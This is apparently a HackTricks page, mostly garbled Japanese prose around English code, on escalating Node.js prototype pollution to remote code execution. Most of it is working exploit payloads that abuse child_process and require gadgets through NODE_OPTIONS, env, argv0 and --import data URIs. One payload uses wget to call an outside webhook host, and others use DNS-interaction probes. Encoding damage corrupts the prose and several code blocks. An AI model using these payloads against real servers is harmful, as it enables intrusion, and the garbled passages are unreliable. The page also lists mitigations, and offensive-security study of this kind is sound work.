Prototype Pollution to RCE
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
è匱ãªã³ãŒã
å®éã®JSã以äžã®ãããªã³ãŒãã䜿çšããŠãããšæ³åããŠãã ãã:
const { execSync, fork } = require("child_process")
function isObject(obj) {
console.log(typeof obj)
return typeof obj === "function" || typeof obj === "object"
}
// Function vulnerable to prototype pollution
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
return target
}
function clone(target) {
return merge({}, target)
}
// Run prototype pollution with user input
// Check in the next sections what payload put here to execute arbitrary code
clone(USERINPUT)
// Spawn process, this will call the gadget that poputales env variables
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork("a_file.js")
PP2RCE via env vars
PP2RCE 㯠Prototype Pollution to RCE (ãªã¢ãŒãã³ãŒãå®è¡) ãæå³ããŸãã
ãã® writeup ã«ãããšãchild_process ã®ããã€ãã®ã¡ãœããïŒfork ã spawn ãªã©ïŒã䜿çšã㊠ããã»ã¹ãçæããã ãšãnormalizeSpawnArguments ã¡ãœãããåŒã³åºãããæ°ããç°å¢å€æ°ãäœæããããã®ãããã¿ã€ãæ±æã¬ãžã§ããã䜿çšãããŸãïŒ
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
var env = options.env || process.env;
var envPairs = [];
[...]
let envKeys = [];
// Prototype values are intentionally included.
for (const key in env) {
ArrayPrototypePush(envKeys, key);
}
[...]
for (const key of envKeys) {
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}
ã³ãŒãã確èªãããšã屿§ .env ãæ±æããããšã§ poison envPairs ãå¯èœã§ããããšãããããŸãã
__proto__ ã®æ±æ
Warning
child_processã©ã€ãã©ãªã®normalizeSpawnArguments颿°ã®åäœã«ãããããã»ã¹ã®ããã« æ°ããç°å¢å€æ°ãèšå®ãã ããã«äœããåŒã³åºããšããäœããæ±æãã ã ãã§æžã¿ãŸãã
äŸãã°ã__proto__.avar="valuevar"ãå®è¡ãããšãããã»ã¹ã¯avarãšããååã®å€æ°ãvaluevarãšããå€ã§çæããŸããããããç°å¢å€æ°ãæåã®ãã®ã§ããããã«ã¯ã
.env屿§ ã æ±æãã å¿ èŠããããïŒäžéšã®ã¡ãœããã§ã¯ïŒãã®å€æ°ã æåã®ãã® ã«ãªããŸãïŒæ»æãå¯èœã«ããŸãïŒãã ãããããæ¬¡ã®æ»æã§ã¯
NODE_OPTIONSã.envã®äžã«ãªãã®ã§ãã
const { execSync, fork } = require("child_process")
// Manual Pollution
b = {}
b.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//",
}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
// Trigger gadget
var proc = fork("./a_file.js")
// This should create the file /tmp/pp2rec
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce\\").toString())//"}}}'
)
clone(USERINPUT)
var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec
constructor.prototypeã®æ±æ
const { execSync, fork } = require("child_process")
// Manual Pollution
b = {}
b.constructor.prototype.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//",
}
b.constructor.prototype.NODE_OPTIONS = "--require /proc/self/environ"
proc = fork("a_file.js")
// This should create the file /tmp/pp2rec2
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}}}'
)
clone(USERINPUT)
var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec2
PP2RCE via env vars + cmdline
åã®ãã®ãšäŒŒããã€ããŒãããã®è§£èª¬ã§ææ¡ãããŸããã äž»ãªéãã¯æ¬¡ã®ãšããã§ãïŒ
- nodejs ãã€ããŒãããã¡ã€ã«
/proc/self/environã«ä¿åãã代ããã«ã/proc/self/cmdlineã®argv0å ã«ä¿åããŸãã - ãã®åŸã**
NODE_OPTIONSãä»ããŠãã¡ã€ã«/proc/self/environãèŠæ±ãã代ããã«ã/proc/self/cmdline**ãèŠæ±ããŸãã
const { execSync, fork } = require("child_process")
// Manual Pollution
b = {}
b.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"
b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
// Trigger gadget
var proc = fork("./a_file.js")
// This should create the file /tmp/pp2rec2
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}'
)
clone(USERINPUT)
var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec
Filesystem-less PP2RCE via --import (Node ⥠19)
Note
Node.js 19以éãCLIãã©ã°
--importã¯--requireãšåæ§ã«NODE_OPTIONSãéããŠæž¡ãããšãã§ããŸãã--requireãšã¯å¯Ÿç §çã«ã--importã¯data-URIãçè§£ãããããæ»æè ã¯ãã¡ã€ã«ã·ã¹ãã ãžã®æžã蟌ã¿ã¢ã¯ã»ã¹ãå¿ èŠãšããŸãããããã«ãããããã¯ããŠã³ãããç°å¢ãèªã¿åãå°çšç°å¢ã§ã®ä¿¡é Œæ§ãå€§å¹ ã«åäžããŸãããã®æè¡ã¯2023幎5æã«PortSwiggerã®ç ç©¶ã«ãã£ãŠåããŠå ¬ã«ææžåããããã®åŸããã€ãã®CTFãã£ã¬ã³ãžã§åçŸãããŠããŸãã
æ»æã¯ãäžèšã®--require /proc/self/*ããªãã¯ãšæŠå¿µçã«åãã§ããããã¡ã€ã«ãæãã®ã§ã¯ãªãããã€ããŒããçŽæ¥base64ãšã³ã³ãŒããããdata: URLã«åã蟌ã¿ãŸãïŒ
const { fork } = require("child_process")
// Manual pollution
b = {}
// Javascript that is executed once Node parses the import URL
const js = "require('child_process').execSync('touch /tmp/pp2rce_import')";
const payload = `data:text/javascript;base64,${Buffer.from(js).toString('base64')}`;
b.__proto__.NODE_OPTIONS = `--import ${payload}`;
// any key that will force spawn (fork) â same as earlier examples
fork("./a_file.js");
è匱ãªããŒãž/ã¯ããŒã³ã·ã³ã¯ãæªçšããããšã¯ãããŒãžã®äžéšã«ç€ºãããŠããŸã:
USERINPUT = JSON.parse('{"__proto__":{"NODE_OPTIONS":"--import data:text/javascript;base64,cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCd0b3VjaCBcL3RtcFwvcHAycmNlX2ltcG9ydCcp"}}');
clone(USERINPUT);
// Gadget trigger
fork("./a_file.js");
// â creates /tmp/pp2rce_import
ãªã --import ã圹ç«ã€ã®ã
- ãã£ã¹ã¯ãšã®çžäºäœçšãªã â ãã€ããŒãã¯ããã»ã¹ã®ã³ãã³ãã©ã€ã³ãšç°å¢å ã§å®å šã«ç§»åããŸãã
- ESMå°çšç°å¢ã§åäœ â
--importã¯ãECMAScript Modules ã«ããã©ã«ãèšå®ãããŠããææ°ã® Node ãªãªãŒã¹ã§ JavaScript ãããªããŒãããããã®æšæºçãªæ¹æ³ã§ãã - äžéšã®
--requireãã¯ã€ããªã¹ãããã€ãã¹ â äžéšã®ããŒããã³ã°ã©ã€ãã©ãªã¯--requireã®ã¿ããã£ã«ã¿ãªã³ã°ãã--importã¯ãã®ãŸãŸæ®ããŸãã
Warning
NODE_OPTIONSã«ããã--importã®ãµããŒãã¯ãææ°ã® Node 22.2.0ïŒ2025幎6æïŒã§ãååšããŸãã Node ã³ã¢ããŒã ã¯å°æ¥çã«ããŒã¿URIãå¶éããããšãæ€èšããŠããŸãããå·çæç¹ã§ã¯ç·©åçã¯å©çšã§ããŸããã
DNS ã€ã³ã¿ã©ã¯ã·ã§ã³
以äžã®ãã€ããŒãã䜿çšããããšã§ã以åã«è°è«ãã NODE_OPTIONS ç°å¢å€æ°ãæªçšããDNS ã€ã³ã¿ã©ã¯ã·ã§ã³ã§æ©èœãããã©ãããæ€åºããããšãå¯èœã§ãïŒ
{
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id.oastify.com"
}
}
ãŸãã¯ãWAFããã¡ã€ã³ãèŠæ±ããã®ãé¿ããããã«ïŒ
{
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id\"\".oastify\"\".com"
}
}
PP2RCE èåŒ±æ§ child_process 颿°
ãã®ã»ã¯ã·ã§ã³ã§ã¯ãchild_process ã®å颿°ãåæããŠã³ãŒããå®è¡ãããã®é¢æ°ã匷å¶çã«ã³ãŒããå®è¡ãããæè¡ã䜿çšã§ãããã©ããã確èªããŸãïŒ
exec ã®æªçš
```javascript
// environ trick - not working
// It's not possible to pollute the .env attr to create a first env var
// because options.env is null (not undefined)
// cmdline trick - working with small variation // Working after kEmptyObject (fix) const { exec } = require(âchild_processâ) p = {} p.proto.shell = â/proc/self/exeâ //You need to make sure the node executable is executed p.proto.argv0 = âconsole.log(require(âchild_processâ).execSync(âtouch /tmp/exec-cmdlineâ).toString())//â p.proto.NODE_OPTIONS = âârequire /proc/self/cmdlineâ var proc = exec(âsomethingâ)
// stdin trick - not working // Not using stdin
// Windows // Working after kEmptyObject (fix) const { exec } = require(âchild_processâ) p = {} p.proto.shell = â\\127.0.0.1\C$\Windows\System32\calc.exeâ var proc = exec(âsomethingâ)
</details>
<details>
<summary><strong><code>execFile</code> ã®æªçš</strong></summary>
```javascript
// environ trick - not working
// It's not possible to pollute the .en attr to create a first env var
// cmdline trick - working with a big requirement
// Working after kEmptyObject (fix)
const { execFile } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFile("/usr/bin/node")
// stdin trick - not working
// Not using stdin
// Windows - not working
execFileãæ©èœããããã«ã¯ãNODE_OPTIONSãæ©èœããããã«nodeãå®è¡ããå¿
èŠããããŸãã
ããnodeãå®è¡ããŠããªãå Žåã¯ãå®è¡ãããŠãããã®ã®å®è¡ã倿Žããæ¹æ³ãèŠã€ããç°å¢å€æ°ãèšå®ããå¿
èŠããããŸãã
ä»ã®æè¡ã¯ãã®èŠä»¶ãªãã§æ©èœããŸãããªããªãããããã¿ã€ãæ±æãéããŠå®è¡ããããã®ã倿Žããããšãå¯èœã ããã§ããïŒãã®å Žåãããšã.shellãæ±æã§ããŠããå®è¡ãããŠãããã®ã¯æ±æãããŸããïŒã
forkã®æªçš
```javascript
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
b = {}
b.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//",
}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork("something")
// cmdline trick - working // Working after kEmptyObject (fix) const { fork } = require(âchild_processâ) p = {} p.proto.argv0 = âconsole.log(require(âchild_processâ).execSync(âtouch /tmp/fork-cmdlineâ).toString())//â p.proto.NODE_OPTIONS = âârequire /proc/self/cmdlineâ var proc = fork(âsomethingâ)
// stdin trick - not working // Not using stdin
// execArgv trick - working // Only the fork method has this attribute // Working after kEmptyObject (fix) const { fork } = require(âchild_processâ) b = {} b.proto.execPath = â/bin/shâ b.proto.argv0 = â/bin/shâ b.proto.execArgv = [â-câ, âtouch /tmp/fork-execArgvâ] var proc = fork(â./a_file.jsâ)
// Windows // Working after kEmptyObject (fix) const { fork } = require(âchild_processâ) b = {} b.proto.execPath = â\\127.0.0.1\C$\Windows\System32\calc.exeâ var proc = fork(â./a_file.jsâ)
</details>
<details>
<summary><strong><code>spawn</code> ã®æªçš</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// stdin trick - not working
// Not using stdin
// Windows
// NOT working after require(fix) without options
const { spawn } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
execFileSync ã®æªçš
```javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execFileSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execFileSync("something")
// cmdline trick - working with small variation (shell) // Working after kEmptyObject (fix) const { execFileSync } = require(âchild_processâ) p = {} p.proto.shell = â/proc/self/exeâ //You need to make sure the node executable is executed p.proto.argv0 = âconsole.log(require(âchild_processâ).execSync(âtouch /tmp/execFileSync-cmdlineâ).toString())//â p.proto.NODE_OPTIONS = âârequire /proc/self/cmdlineâ var proc = execFileSync(âsomethingâ)
// stdin trick - working // Working after kEmptyObject (fix) const { execFileSync } = require(âchild_processâ) p = {} p.proto.argv0 = â/usr/bin/vimâ p.proto.shell = â/usr/bin/vimâ p.proto.input = â:!{touch /tmp/execFileSync-stdin}\nâ var proc = execFileSync(âsomethingâ)
// Windows // Working after kEmptyObject (fix) const { execSync } = require(âchild_processâ) p = {} p.proto.shell = â\\127.0.0.1\C$\Windows\System32\calc.exeâ p.proto.argv0 = â\\127.0.0.1\C$\Windows\System32\calc.exeâ var proc = execSync(âsomethingâ)
</details>
<details>
<summary><strong><code>execSync</code> ã®æªçš</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execSync("something")
// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execSync("something")
// stdin trick - working
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ":!{touch /tmp/execSync-stdin}\n"
var proc = execSync("something")
// Windows
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync("something")
spawnSync ã®æªçš
```javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of node
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// cmdline trick - working with small variation (shell) // NOT working after kEmptyObject (fix) without options const { spawnSync } = require(âchild_processâ) p = {} p.proto.shell = â/proc/self/exeâ //You need to make sure the node executable is executed p.proto.argv0 = âconsole.log(require(âchild_processâ).execSync(âtouch /tmp/spawnSync-cmdlineâ).toString())//â p.proto.NODE_OPTIONS = âârequire /proc/self/cmdlineâ var proc = spawnSync(âsomethingâ) //var proc = spawnSync(âsomethingâ,[],{âcwdâ:â/tmpâ}); //To work after kEmptyObject (fix)
// stdin trick - working // NOT working after kEmptyObject (fix) without options const { spawnSync } = require(âchild_processâ) p = {} p.proto.argv0 = â/usr/bin/vimâ p.proto.shell = â/usr/bin/vimâ p.proto.input = â:!{touch /tmp/spawnSync-stdin}\nâ var proc = spawnSync(âsomethingâ) //var proc = spawnSync(âsomethingâ,[],{âcwdâ:â/tmpâ}); //To work after kEmptyObject (fix)
// Windows // NOT working after require(fix) without options const { spawnSync } = require(âchild_processâ) p = {} p.proto.shell = â\\127.0.0.1\C$\Windows\System32\calc.exeâ var proc = spawnSync(âsomethingâ) //var proc = spawnSync(âsomethingâ,[],{âcwdâ:âC:\â}); //To work after kEmptyObject (fix)
</details>
## ã¹ããŒã³ã®åŒ·å¶
åã®äŸã§ã¯ãã¬ãžã§ãããããªã¬ãŒããæ¹æ³ãèŠãŸãããã**`spawn`** ãåŒã³åºãæ©èœã **ååšãã** å¿
èŠããããŸãïŒäœããå®è¡ããããã«äœ¿çšããããã¹ãŠã® **`child_process`** ã¡ãœããã¯ãããåŒã³åºããŸãïŒãåã®äŸã§ã¯ããã **ã³ãŒãã®äžéš** ã§ããããã³ãŒãã **åŒã³åºããŠããªã** å Žåã¯ã©ãã§ããããã
### requireãã¡ã€ã«ãã¹ã®å¶åŸ¡
ãã® [**å¥ã®æžã蟌ã¿**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) ã§ã¯ããŠãŒã¶ãŒã **`require`** ãå®è¡ããããã¡ã€ã«ãã¹ãå¶åŸ¡ã§ããŸãããã®ã·ããªãªã§ã¯ãæ»æè
㯠**ã·ã¹ãã å
ã® `.js` ãã¡ã€ã«ãèŠã€ãã** å¿
èŠããããŸããããã«ãããã€ã³ããŒãæã«ã¹ããŒã³ã¡ãœããã **å®è¡ãããŸãã**\
ã€ã³ããŒãæã«ã¹ããŒã³é¢æ°ãåŒã³åºãäžè¬çãªãã¡ã€ã«ã®ããã€ãã®äŸã¯æ¬¡ã®ãšããã§ãïŒ
- /path/to/npm/scripts/changelog.js
- /opt/yarn-v1.22.19/preinstall.js
- **以äžã«ããã«ãã¡ã€ã«ãèŠã€ããŠãã ãã**
次ã®ã·ã³ãã«ãªã¹ã¯ãªããã¯ã**颿°å
ã®åŒã³åºãã衚瀺ããªã**ïŒããã£ã³ã°ãªãã§ïŒ **child_process** ããã® **åŒã³åºã** ãæ€çŽ¢ããŸãïŒ
```bash
find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
以åã®ã¹ã¯ãªããã«ãã£ãŠèŠã€ãã£ãè峿·±ããã¡ã€ã«
- node_modules/buffer/bin/download-node-tests.js:17:
cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') }) - node_modules/buffer/bin/test.js:10:
var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' }) - node_modules/npm/scripts/changelog.js:16:
const log = execSync(git log --reverse --pretty='format:%h %H%d %s (%aN)%n%b%n---%n' ${branch}...).toString().split(/\n/) - node_modules/detect-libc/bin/detect-libc.js:18:
process.exit(spawnSync(process.argv[2], process.argv.slice(3), spawnOptions).status); - node_modules/jest-expo/bin/jest.js:26:
const result = childProcess.spawnSync('node', jestWithArgs, { stdio: 'inherit' }); - node_modules/buffer/bin/download-node-tests.js:17:
cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') }) - node_modules/buffer/bin/test.js:10:
var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' }) - node_modules/runtypes/scripts/format.js:13:
const npmBinPath = execSync('npm bin').toString().trim(); - node_modules/node-pty/scripts/publish.js:31:
const result = cp.spawn('npm', args, { stdio: 'inherit' });
ãããã¿ã€ãæ±æãä»ããrequireãã¡ã€ã«ãã¹ã®èšå®
Warning
åã®æè¡ã¯ããŠãŒã¶ãŒããã¡ã€ã«ã®ãã¹ãå¶åŸ¡ããå¿ èŠãããããšãèŠæ±ããŸãã ããããããã¯åžžã«çã§ã¯ãããŸããã
ãã ãããããã¿ã€ãæ±æã®åŸã«requireãå®è¡ããã³ãŒããããå Žåãããšãrequireããããã¹ãå¶åŸ¡ã§ããªããŠãããããã¿ã€ãæ±æãæªçšããŠç°ãªããã®ã匷å¶ããããšãã§ããŸãã ãããã£ãŠãã³ãŒãè¡ãrequire("./a_file.js")ãrequire("bytes")ã®ããã§ãã£ãŠããæ±æããããã±ãŒãžãrequireããŸãã
ãããã£ãŠããããã¿ã€ãæ±æã®åŸã«requireãå®è¡ãããspawn颿°ããªãå Žåããããæ»æã§ãïŒ
- ã·ã¹ãã å
ã®
.jsãã¡ã€ã«ãèŠã€ãã ãããrequireããããšchild_processã䜿çšããŠäœããå®è¡ãã - æ»æããŠãããã©ãããã©ãŒã ã«ãã¡ã€ã«ãã¢ããããŒãã§ããå Žåããã®ãããªãã¡ã€ã«ãã¢ããããŒãããããšãã§ããŸã
- ãã¹ãæ±æããŠã
.jsãã¡ã€ã«ã®requireããŒãã匷å¶ãã ãããchild_processã§äœããå®è¡ããŸã - ç°å¢/ã³ãã³ãã©ã€ã³ãæ±æããŠãchild_processå®è¡é¢æ°ãåŒã³åºããããšãã«ä»»æã®ã³ãŒããå®è¡ããŸãïŒæåã®æè¡ãåç §ïŒ
絶察require
å®è¡ãããrequireã絶察çïŒrequire("bytes")ïŒã§ãããã±ãŒãžãpackage.jsonãã¡ã€ã«ã«mainãå«ãŸãªãå Žåãmain屿§ãæ±æããŠãrequireãç°ãªããã¡ã€ã«ãå®è¡ããããã«ããããšãã§ããŸãã
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab
// Install package bytes (it doesn't have a main in package.json)
// npm install bytes
// Manual Pollution
b = {}
b.__proto__.main = "/tmp/malicious.js"
// Trigger gadget
var proc = require("bytes")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_absolute\\").toString())//"}}'
)
clone(USERINPUT)
var proc = require("bytes")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
çžå¯Ÿrequire - 1
ããçžå¯Ÿãã¹ã絶察ãã¹ã®ä»£ããã«èªã¿èŸŒãŸãããšãnodeã¯ç°ãªããã¹ãèªã¿èŸŒãããšãã§ããŸãïŒ
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab
// Manual Pollution
b = {}
b.__proto__.exports = { ".": "./malicious.js" }
b.__proto__["1"] = "/tmp"
// Trigger gadget
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_1\\").toString())//"}}'
)
clone(USERINPUT)
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
çžå¯Ÿçãªrequire - 2
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab
// Manual Pollution
b = {}
b.__proto__.data = {}
b.__proto__.data.exports = { ".": "./malicious.js" }
b.__proto__.path = "/tmp"
b.__proto__.name = "./relative_path.js" //This needs to be the relative path that will be imported in the require
// Trigger gadget
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_path\\").toString())//"}}'
)
clone(USERINPUT)
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
çžå¯Ÿçãªrequire - 3
åã®ãã®ãšåæ§ã«ããã®è§£èª¬ã§èŠã€ãããŸããã
// Requiring /opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = {
exports: {
".": "./preinstall.js",
},
name: "./usage",
}
Object.prototype["path"] = "/opt/yarn-v1.22.19"
Object.prototype.shell = "node"
Object.prototype["npm_config_global"] = 1
Object.prototype.env = {
NODE_DEBUG:
"console.log(require('child_process').execSync('wget${IFS}https://webhook.site?q=2').toString());process.exit()//",
NODE_OPTIONS: "--require=/proc/self/environ",
}
require("./usage.js")
VM Gadgets
è«æhttps://arxiv.org/pdf/2207.11171.pdfã§ã¯ãvmã©ã€ãã©ãªã®ããã€ãã®ã¡ãœããããã®contextExtensionsã®å¶åŸ¡ãã¬ãžã§ãããšããŠäœ¿çšã§ããããšã瀺ãããŠããŸãã
ããããåè¿°ã®child_processã¡ãœãããšåæ§ã«ãææ°ããŒãžã§ã³ã§ã¯ä¿®æ£ãããŠããŸãã
Fixes & Unexpected protections
ãããã¿ã€ãæ±æã¯ãã¢ã¯ã»ã¹ãããŠãããªããžã§ã¯ãã®å±æ§ãæªå®çŸ©ã§ããå Žåã«æ©èœããããšã«æ³šæããŠãã ãããã³ãŒãå ã§ãã®å±æ§ã«å€ãèšå®ãããŠããå Žåãäžæžãããããšã¯ã§ããŸããã
2022幎6æããã®ã³ãããããã倿°optionsã¯{}ã®ä»£ããã«**kEmptyObjectã§ããããã«ãããRCEãååŸããããã«optionsã®å±æ§ã«åœ±é¿ãäžãããããã¿ã€ãæ±æã鲿¢ãããŸãã
å°ãªããšãv18.4.0ãããã®ä¿è·ãå®è£
ãããŠããããããã£ãŠspawnããã³spawnSyncã®ãšã¯ã¹ããã€ã**ã¯ããªãã·ã§ã³ã䜿çšãããŠããªãå Žåãã¡ãœããã«åœ±é¿ãäžããªããªããŸããã
ãã®ã³ãããã§ã¯ãvmã©ã€ãã©ãªã®**contextExtensionsã®ãããã¿ã€ãæ±æãã{}ã®ä»£ããã«kEmptyObjectã«èšå®ããããšã§ããçšåºŠä¿®æ£**ãããŸããã
[!INFO] Node 20 (2023幎4æ) & Node 22 (2025幎4æ)ã¯ãããªã匷åãæäŸããŸããïŒããã€ãã®
child_processãã«ããŒã¯ãåç §ã䜿çšããã®ã§ã¯ãªãããŠãŒã¶ãŒæäŸã®optionsãCopyOptions()ã§ã³ããŒããŸããããã«ãããstdioã®ãããªãã¹ãããããªããžã§ã¯ãã®æ±æããããã¯ãããŸãããäžèšã§èª¬æããNODE_OPTIONS/--importããªãã¯ã«å¯ŸããŠã¯ä¿è·ãããŸãã â ãããã®ãã©ã°ã¯ç°å¢å€æ°ãä»ããŠåŒãç¶ãåãå ¥ããããŸããå®å šãªä¿®æ£ã«ã¯ã芪ããã»ã¹ããäŒæã§ããCLIãã©ã°ãå¶éããå¿ èŠããããããã¯Node Issue #50559ã§è¿œè·¡ãããŠããŸãã
Other Gadgets
- https://github.com/yuske/server-side-prototype-pollution
- https://github.com/KTH-LangSec/server-side-prototype-pollution
References
- https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/
- https://blog.sonarsource.com/blitzjs-prototype-pollution/
